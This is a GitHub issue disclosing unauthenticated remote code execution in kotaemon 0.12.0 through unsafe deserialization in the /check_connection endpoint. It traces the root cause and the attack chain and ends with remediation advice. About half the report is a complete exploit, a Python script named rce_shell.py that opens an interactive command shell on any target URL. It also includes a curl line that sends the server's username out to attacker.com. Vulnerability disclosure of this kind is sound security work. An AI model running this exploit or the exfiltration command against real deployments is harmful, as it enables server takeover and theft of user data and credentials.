#844·kotaemon

[Security] Unauthenticated RCE via Insecure Deserialization in /check_connection endpoint

Author: HK4zCziCreated Jun 29, 2026Updated Aug 4, 2026
Labelsbug

Description

Summary

An unsafe deserialization vulnerability in the /check_connection Gradio API endpoint allows any unauthenticated attacker to execute arbitrary operating system commands on the server with the privileges of the application process. No credentials, session cookies, or API keys of any kind are required. The vulnerability exists because all Gradio event-handler endpoints are publicly reachable regardless of the application's login UI, and the endpoint deserializes attacker-controlled YAML/JSON into arbitrary Python classes using importlib.import_module + getattr.

  • Severity: Critical (CVSS 3.1 score 10.0)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Details

Root Cause 1 — Gradio architectural bypass (no server-side auth enforcement)

libs/ktem/ktem/main.py, lines 127–189: Access control is implemented as UI tab visibility toggling in toggle_login_visibility(). When a user is not logged in, the chat/settings tabs are hidden in the browser, but all 361 Gradio fn= event-handler endpoints remain callable as HTTP POST /run/predict or via the Gradio client SDK with no server-side gate. The application registers check_connection as a public API endpoint with no user_id input wired:

python
# libs/ktem/ktem/llms/ui.py  lines 243-245
self._check_connection_btn.click(
    self.check_connection,
    inputs=[self.selected_llm_name, self.edit_spec],   # ← no user_id
    ...
)

A grep of the entire llms/ui.py file returns zero matches for user_id, is_admin, require_login, or any authentication guard.

Root Cause 2 — deserialize(safe=False) on user-supplied data

libs/ktem/ktem/llms/ui.py, check_connection(), lines 344–381:

python
async def check_connection(self, selected_llm_name, edit_spec):
    ...
    spec = yaml.load(selected_spec, Loader=YAMLNoDateSafeLoader)  # attacker YAML
    info["spec"].update(spec)           # ← attacker overwrites __type__
    ...
    llm = deserialize(info["spec"], safe=False)   # ← arbitrary class instantiation
    resp = await llm("Hi")
    self._log.append(f"Got response: {resp}")

theflow/utils/modules.py, deserialize(safe=False):

python
def deserialize(spec, safe=True):
    module_name, obj_name = spec["__type__"].rsplit(".", 1)
    cls = getattr(importlib.import_module(module_name), obj_name)
    return cls(**{k: v for k, v in spec.items() if k != "__type__"})

Any installed Python class can be instantiated with attacker-supplied constructor arguments. subprocess.check_output is a callable in Python's standard library that runs shell commands and returns output.

Attack Chain

  1. Register a temporary LLM via /create_llm (also unauthenticated) to obtain a named slot in the LLM registry. This provides the base info["spec"] that check_connection fetches from the DB.
  2. Send a crafted payload to /check_connection whose YAML overrides __type__ with unittest.mock.Mock and sets return_value to a nested subprocess.check_output spec.
  3. The server deserializes the outer spec → instantiates unittest.mock.Mock(return_value=<command_output>). Then deserializes return_value → instantiates subprocess.check_output(args=["sh","-c","<cmd>"], text=True) which executes the shell command and returns its stdout as a string.
  4. check_connection calls llm("Hi")Mock.__call__ returns return_value (the command output string).
  5. The server embeds this in "Got response: <output>" inside the HTML response body — output is exfiltrated in-band over the same HTTP response.

Reproduction steps

bash
## PoC

### Step 1 — Install kotaemon


git clone https://github.com/Cinnamon/kotaemon
cd kotaemon
git checkout v0.12.0           # or download the 0.12.0 release tarball

# Create venv with Python 3.11
uv venv --python 3.11 .venv
source .venv/bin/activate

# Install core libs (skip [all] to avoid Rust dependency)
uv pip install -e "libs/kotaemon" -e "libs/ktem"

# Pin compatible versions (avoids langchain / huggingface_hub breakage)
uv pip install \
  "huggingface_hub==0.25.2" \
  "langchain==0.2.15" "langchain-core==0.2.43" \
  "langchain-community==0.2.11" "langchain-openai==0.1.25" \
  "langchain-text-splitters==0.2.4" "langsmith==0.1.147" \
  "gradio-client"


### Step 2 — Start the server


KH_FEATURE_USER_MANAGEMENT=true \
KH_ENABLE_FIRST_SETUP=false \
GRADIO_SERVER_NAME=0.0.0.0 \
GRADIO_SERVER_PORT=7860 \
nohup .venv/bin/python app.py > /tmp/kotaemon.log 2>&1 &

# Wait ~15 seconds for startup
tail -f /tmp/kotaemon.log   # press Ctrl-C when you see "Running on http://"


The server is now reachable at `http://<host>:7860`. No login is required for the exploit.

### Step 3 — Save the interactive RCE shell

Create file `rce_shell.py`:


#!/usr/bin/env python3
"""
PoC — Unauthenticated RCE in kotaemon 0.12.0
Exploit: /check_connection endpoint, insecure deserialize(safe=False)
No credentials required.

Usage:
    python rce_shell.py                         # interactive shell
    python rce_shell.py "id; uname -a"          # one-shot command
    python rce_shell.py http://TARGET:7860       # remote target (interactive)
    python rce_shell.py http://TARGET:7860 "id" # remote target (one-shot)
"""
import json, re, html, sys, uuid
from gradio_client import Client

DEFAULT_URL = "http://127.0.0.1:7860"


def build_payload(cmd: str) -> str:
    """
    Craft a JSON spec that deserialize(safe=False) will turn into:
      unittest.mock.Mock(
          return_value = subprocess.check_output(["sh","-c",cmd], text=True)
      )
    When the server calls llm("Hi"), Mock.__call__ returns the subprocess
    output string, which is embedded verbatim in the HTTP response.
    '; true' forces exit-code 0 so stderr is still captured instead of
    raising CalledProcessError before the response is sent.
    """
    spec = {
        "__type__": "unittest.mock.Mock",
        "return_value": {
            "__type__": "subprocess.check_output",
            "args": ["sh", "-c", cmd + " 2>&1; true"],
            "text": True,
        },
    }
    return json.dumps(spec)


def run_cmd(client: Client, llm_name: str, cmd: str) -> str:
    resp = client.predict(llm_name, build_payload(cmd), api_name="/check_connection")
    m = re.search(r"Got response:(.*?)</mark>", resp, re.S)
    if m:
        return html.unescape(m.group(1)).strip("\n")
    return html.unescape(re.sub(r"<[^>]+>", "", resp)).strip()


def main():
    args = sys.argv[1:]
    url = DEFAULT_URL
    oneshot = None
    if args:
        if args[0].startswith("http://") or args[0].startswith("https://"):
            url = args[0]
            args = args[1:]
        if args:
            oneshot = " ".join(args)

    print(f"[*] Target  : {url}")
    client = Client(url, verbose=False)

    # Create a throw-away LLM entry (unauthenticated endpoint)
    llm_name = "poc_" + uuid.uuid4().hex[:8]
    try:
        client.predict(llm_name, "ChatOpenAI", "{}", False, api_name="/create_llm")
    except Exception as e:
        print("[!] create_llm:", e)
    print(f"[*] LLM slot: {llm_name}  (no login required)\n")

    if oneshot is not None:
        print(run_cmd(client, llm_name, oneshot))
        return

    print("[*] Interactive RCE shell ready. Type a command or 'exit'.")
    while True:
        try:
            cmd = input("RCE> ").strip()
        except (EOFError, KeyboardInterrupt):
            print("\n[*] bye")
            break
        if not cmd:
            continue
        if cmd in ("exit", "quit"):
            print("[*] bye")
            break
        try:
            print(run_cmd(client, llm_name, cmd))
        except Exception as e:
            print("[!] error:", e)


if __name__ == "__main__":
    main()


### Step 4 — Run the exploit


# Install only the lightweight Gradio client (no server needed on attacker machine)
pip install gradio-client

# Interactive shell — no credentials, no session cookie
python rce_shell.py http://<target>:7860


### Step 5 — Expected output


[*] Target  : http://127.0.0.1:7860
[*] LLM slot: poc_3f9a1c2d  (no login required)

[*] Interactive RCE shell ready. Type a command or 'exit'.
RCE> id
uid=1000(kali) gid=1000(kali) groups=1000(kali)

One-shot variant (e.g. for scripted exploitation):


python rce_shell.py http://<target>:7860 "curl -s http://attacker.com/$(whoami)"


---

## Impact

| Category | Detail |
|---|---|
| Confidentiality | Full read access to all files the process can reach: application source, SQLite database (all user password hashes, all conversation content including private chats), environment variables, API keys in config files |
| Integrity | Arbitrary file write/delete; database modification; injection of backdoors into application code |
| Availability | Process kill, disk fill, resource exhaustion |
| Scope | Server-side OS-level code execution; if the server is containerized, container escape via mounted volumes or misconfigured Docker socket |
| Who is affected | Every deployment of kotaemon with the web interface exposed — authentication is not a prerequisite; the vulnerable endpoint is accessible to anonymous HTTP clients |
| Privileges required | None. No API key, no session cookie, no valid user account |
| User interaction | None. Fully automated, single HTTP exchange |


## Suggested Remediation

1. **Immediate:** Remove `safe=False` from all `deserialize()` calls in `llms/ui.py`, `index/`, and `app.py`. Switch to an allowlist of permitted class paths.
2. **Short-term:** Add `user_id` as a wired `gr.State` input to `check_connection` and `create_llm`; enforce `admin=True` server-side before executing any LLM management action.
3. **Long-term:** Adopt a proper RBAC middleware layer that wraps Gradio event handlers, rather than relying on client-side tab visibility for access control.

Screenshots

bash

Logs

bash

Browsers

No response

OS

No response

Additional information

Image